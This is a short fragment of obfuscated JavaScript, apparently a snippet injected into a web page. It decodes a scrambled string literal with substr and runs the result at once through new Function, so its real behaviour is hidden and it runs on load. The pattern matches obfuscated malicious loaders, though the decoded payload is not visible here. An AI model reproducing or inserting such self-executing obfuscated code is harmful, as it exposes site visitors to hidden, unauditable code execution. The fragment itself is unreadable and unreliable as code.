Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();